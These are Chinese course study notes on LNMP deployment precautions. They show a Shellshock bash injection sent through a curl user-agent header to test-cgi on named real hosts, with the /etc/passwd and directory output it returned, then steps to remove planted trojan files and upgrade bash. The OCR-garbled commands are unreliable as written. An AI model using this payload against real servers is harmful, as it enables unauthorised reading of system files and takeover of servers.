LNMP架构的部署注意事项| 学习笔记

简介: 快速学习LNMP架构的部署注意事项。

开发者学堂课程【企业Web常用架构LAMP-LNMP实战LNMP架构的部署注意事项】学习笔记,与课程紧密联系,让用户快速学习知识。

课程地址:https://developer.aliyun.com/learning/course/385/detail/4832


LNMP架构的部署注意事项

 

内容介绍

一、漏洞的威胁

二、案例

 

一、漏洞的威胁

百度搜 test-cgi 漏洞 乌云

test-cgi 漏洞 ,例如:
第一个:bash 破壳命令执行
curl-A"(){foo;};echo;/bin/cat/etc/passwd"http://mail.10jqka.com.cn:88/cgi-bin/test-cgi

运行

[root@localhost extraj# cur1 -A "( { foo; };echo;/bin/cat /etc/passwd” http : / /www . eduedu . com/cgi-bin/test-cgi

root: :o:o:root: /root: /bin/bash

bin: x:1:1:bin: /bin: / sbin/nologin

daemon : x:2: 2:daemon: /sbin:/sbin/nologinadm: x:3:4: adm:/var/adm:/sbin/no1ooi

daemon : x:2: 2:daemon: /sbin:/sbin/nologinadm: x:3:4: adm:/var/adm:/sbin/no1ogin

lp : x:4:7: lp: /var/ spoo1/1pd: jsbin/hologinsync:x:5:o: sync:/sbin:/bin/halt

mail:x:8:12:mail:/var /spoo1/mai1:/sbin/nologinuucp :x:10:14:uucp :/var/ spoo1/uucp: / sbin/nologin

operator:x:11:0:operator:/root:/sbin/no1ogin

games:x:12:100: games :/usr/games: /sbin/no1ogin

gopher: x:13:30: gopher: /var7gopher: /sbin/no1ogin

ftp :x:14:50:FTPUser :/var/ftp:/sbin/nologin

nobody : x:99:99: Nobody :/ :/ sbin/nologin

vcsa:x:69:69:.rtuaconoheeer"/var7empty/sasiauth:/sbin/no1og

postfix:x:89:89: : /var/spoo1/postfix:/sbin/no1ogin

sshd:x:74:74:Privilege-separated ssH:/var/empty/sshd:/sbin/nologinmysq1:x:600:600: :/home /mysql:/bin/bash

[root@7ocalhost extra1#

在本机输入该命令就可以获取远程服务器的所有密码信息,包括目录信息·

[root@locaThost extra]# cur1 '-A "( { foo;};echo;/bin/1s/" http://www.eduedu.com/cgi-bin/test-cgi

vMwareroois-8.6.5-621624 .tar. gz

bin

boot

cicro

crossdomain.xml

dev

etc

home

index.html

index.html.1

lib

lib64

lost+found

media

mnt

opt

proc

root

查看其他目录内容

[root@locaThost extra]# cur1 '-A "( { foo;};echo;/bin/1s/boot" http://www.eduedu.com/cgi-bin/test-cgi

就可以登录账号,修改密码等任何事情,通过这个漏洞就能控制远程服务器。

分析漏洞产生原因:bash 本身存在漏洞

漏洞证明:shell,很多函数和$不让使用,如果 shell 和 sql 结合会使所有的信息清楚展现

漏洞诞生的原因:需要的模块加载,不需要的不必加载。必须要在有漏洞、必须要有cgi是可执行的

[root@i-465-39832-VMconf]#_cd ../

[root@i-465-39832-VMapache]#ls

binbuild cgi-bin conferrorhtdocsiconsincludelogsmanmanua1 modules

[root@i-465-39832-VMapache]# cd cgi-bin/

[root@i-465-39832-VMcgi-bin]#1s

printenvtest-cgi

[root@i-465-39832-vMcgi-bin]#ps-ef查看结果

image.png

查看执行路径:

[root@i-465-39832-YM cgi-bin]# 11_/proc/32207/exe.-,

irwxrwxrwx. 1 mysq1 mysq1 0 Mar3' i9:37/proc/32207/exe ->/cicrodb_temp /yufeng--.

[root@i-465-39832-vM cgi-bin]# cd //cicro/wcm/data/db/mysq1/data

[root@i-465-39832-VMdata]#1s

打开后都是木马文件

image.png

删除:

[root@i-465-39832-vM data]#rm_-rf keeplive_

[root@i-465-39832-VM data]# rm-rf keep1ive*

lroot@i-465-39832-VMdata]#1f

kill

[root@i-465-39832-VM data]#killa11 -9 yufeng

一个一个kill,若关不掉就控制路径

[root@i-465-39832-VM data]# cd /cicro/wcm/as/

[root@i-465-39832-VMas]#1s..oapacheapache_2.4jdk1.7.0_67tomcat

apache.2.2.3_jdk1.6.0_13nginx      tomcat_20141029

[root@i-465-39832-VMas]#cd apache

[root@i-465-39832-VMapache]#ls

binbuildcgi-binconferrorhtdocs, iconsincludelogs

[root@i-465-39832-VMapache]# cd cgi-bin/

[root@i-465-39832-VMcgi-bin]#ls

printenv.test-cgi

[root@i-465-39832-VM cgi-bin]# rm -rf test-cgi

[root@i-465-39832-VMcgi-bin]#ls

Printenv

[root@i-465-39832-VMcgi-bin]#77total4

-rwxr-xr-x.1root. root.294.pec 11 2oo4iprantenv

[root@i-465-39832-VM cgi-bin]# rm-rf printenv

[root@i-465-39832-VMcgi-bin]#ls

[root@i-465-39832-VMcgi-bin]#1s -al

Total 8

Drwxr-xr-x. 2 root root 4096 mar 322:46

Drwxr-xr-x. 14 root root 4096 dec 5 2014

[root@i-465-39832-VMcgi-bin]#ps

杀掉之后,杜绝根源,因为 besh 有漏洞,所以解决措施是升级 besh。

注意:文件需要删除干净

ll/原 ID通过内存后查看(绿色显示的是:真实的文件放置的位置)

发现木马文件:删除原文件不可以删库、还可从入口控制(删除入口)

删除掉木马文件可以从:运行速度、运行负载看到

保证原服务器正常的情况下升级


二、例题

CGI/1.0 test seript report:
anc is 0. argv is.
SERVER_SOFTWARE=Apache/2.2.29 (Unix) DAV/2 mod_jk/1.2.
SERVER NAE = www. eduedu com
GATEVAY INTERFACE = CGI/1.1
SERVER PROTOCOL = HTTP/1.1
SERVER FORt = 80
REQUEST_ METHD = GET
HTIP. ACCEPT =text/html,application/xhtml+xml,app

PATH_TRANSATED =
SCRIPI_NAME = /cgi-bin/test-cgi
QUERY_SIRING =
RETOTE_HDST =
REIOTE_ADDR = 117.34.5.240
REIOTE_USER=
AUIH_TYPE =
CONTENT_TYPE =
CONIENT_LENGTH =

相关文章
|
1月前
|
存储 监控 安全
132_API部署:FastAPI与现代安全架构深度解析与LLM服务化最佳实践
在大语言模型(LLM)部署的最后一公里,API接口的设计与安全性直接决定了模型服务的可用性、稳定性与用户信任度。随着2025年LLM应用的爆炸式增长,如何构建高性能、高安全性的REST API成为开发者面临的核心挑战。FastAPI作为Python生态中最受青睐的Web框架之一,凭借其卓越的性能、强大的类型安全支持和完善的文档生成能力,已成为LLM服务化部署的首选方案。
|
6月前
|
监控 Linux 应用服务中间件
Linux多节点多硬盘部署MinIO:分布式MinIO集群部署指南搭建高可用架构实践
通过以上步骤,已成功基于已有的 MinIO 服务,扩展为一个 MinIO 集群。该集群具有高可用性和容错性,适合生产环境使用。如果有任何问题,请检查日志或参考MinIO 官方文档。作者联系方式vx:2743642415。
2177 57
|
5月前
|
消息中间件 存储 Kafka
一文带你从入门到实战全面掌握RocketMQ核心概念、架构部署、实践应用和高级特性
本文详细介绍了分布式消息中间件RocketMQ的核心概念、部署方式及使用方法。RocketMQ由阿里研发并开源,具有高性能、高可靠性和分布式特性,广泛应用于金融、互联网等领域。文章从环境搭建到消息类型的实战(普通消息、延迟消息、顺序消息和事务消息)进行了全面解析,并对比了三种消费者类型(PushConsumer、SimpleConsumer和PullConsumer)的特点与适用场景。最后总结了使用RocketMQ时的关键注意事项,如Topic和Tag的设计、监控告警的重要性以及性能与可靠性的平衡。通过学习本文,读者可掌握RocketMQ的使用精髓并灵活应用于实际项目中。
4205 9
 一文带你从入门到实战全面掌握RocketMQ核心概念、架构部署、实践应用和高级特性
|
8月前
|
资源调度 前端开发 算法
鸿蒙OS架构设计探秘:从分层设计到多端部署
本文深入探讨了鸿蒙OS的架构设计,从独特的“1+8+N”分层架构到模块化设计,再到智慧分发和多端部署能力。分层架构让系统更灵活,模块化设计通过Ability机制实现跨设备一致性,智慧分发优化资源调度,多端部署提升开发效率。作者结合实际代码示例,分享了开发中的实践经验,并指出生态建设是未来的关键挑战。作为国产操作系统的代表,鸿蒙的发展值得每一位开发者关注与支持。
|
6月前
|
消息中间件 数据可视化 Kafka
docker arm架构部署kafka要点
本内容介绍了基于 Docker 的容器化解决方案,包含以下部分: 1. **Docker 容器管理**:通过 Portainer 可视化管理工具实现对主节点和代理节点的统一管理。 2. **Kafka 可视化工具**:部署 Kafka-UI 以图形化方式监控和管理 Kafka 集群,支持动态配置功能, 3. **Kafka 安装与配置**:基于 Bitnami Kafka 镜像,提供完整的 Kafka 集群配置示例,涵盖 KRaft 模式、性能调优参数及数据持久化设置,适用于高可用生产环境。 以上方案适合 ARM64 架构,为用户提供了一站式的容器化管理和消息队列解决方案。
568 10
|
11月前
|
自然语言处理 JavaScript Java
《鸿蒙HarmonyOS应用开发从入门到精通(第2版)》学习笔记——HarmonyOS架构介绍
HarmonyOS采用分层架构设计,从下至上分为内核层、系统服务层、框架层和应用层。内核层支持多内核设计与硬件驱动;系统服务层提供核心能力和服务;框架层支持多语言开发;应用层包括系统及第三方应用,支持跨设备调度,确保一致的用户体验。
953 81
|
8月前
|
关系型数据库 MySQL 应用服务中间件
Linux 手动安装快速部署 LNMP 环境实战
本文详细记录了在阿里云ECS上手动搭建LNMP环境的过程,系统选用Ubuntu 24.04。主要内容包括:1) 使用`apt`安装Nginx和MySQL,并更新软件源;2) 编译安装PHP 8.4.5,配置PHP-FPM及环境路径;3) 配置MySQL root用户密码;4) 调整Nginx支持PHP解析并测试整体环境。通过此过程,重现手动配置服务器的细节,帮助熟悉各组件的安装与协同工作。
591 23
|
8月前
|
人工智能 前端开发 Java
DDD四层架构和MVC三层架构的个人理解和学习笔记
领域驱动设计(DDD)是一种以业务为核心的设计方法,与传统MVC架构不同,DDD将业务逻辑拆分为应用层和领域层,更关注业务领域而非数据库设计。其四层架构包括:Interface(接口层)、Application(应用层)、Domain(领域层)和Infrastructure(基础层)。各层职责分明,避免跨层调用,确保业务逻辑清晰。代码实现中,通过DTO、Entity、DO等对象的转换,结合ProtoBuf协议,完成请求与响应的处理流程。为提高复用性,实际项目中可增加Common层存放公共依赖。DDD强调从业务出发设计软件,适应复杂业务场景,是微服务架构的重要设计思想。
|
供应链 监控 安全
网络安全中的零信任架构:从概念到部署
网络安全中的零信任架构:从概念到部署
975 75
|
11月前
|
Serverless 决策智能 UED
构建全天候自动化智能导购助手:从部署者的视角审视Multi-Agent架构解决方案
在构建基于多代理系统(Multi-Agent System, MAS)的智能导购助手过程中,作为部署者,我体验到了从初步接触到深入理解再到实际应用的一系列步骤。整个部署过程得到了充分的引导和支持,文档详尽全面,使得部署顺利完成,未遇到明显的报错或异常情况。尽管初次尝试时对某些复杂配置环节需反复确认,但整体流程顺畅。
228 3
下一篇
oss云网关配置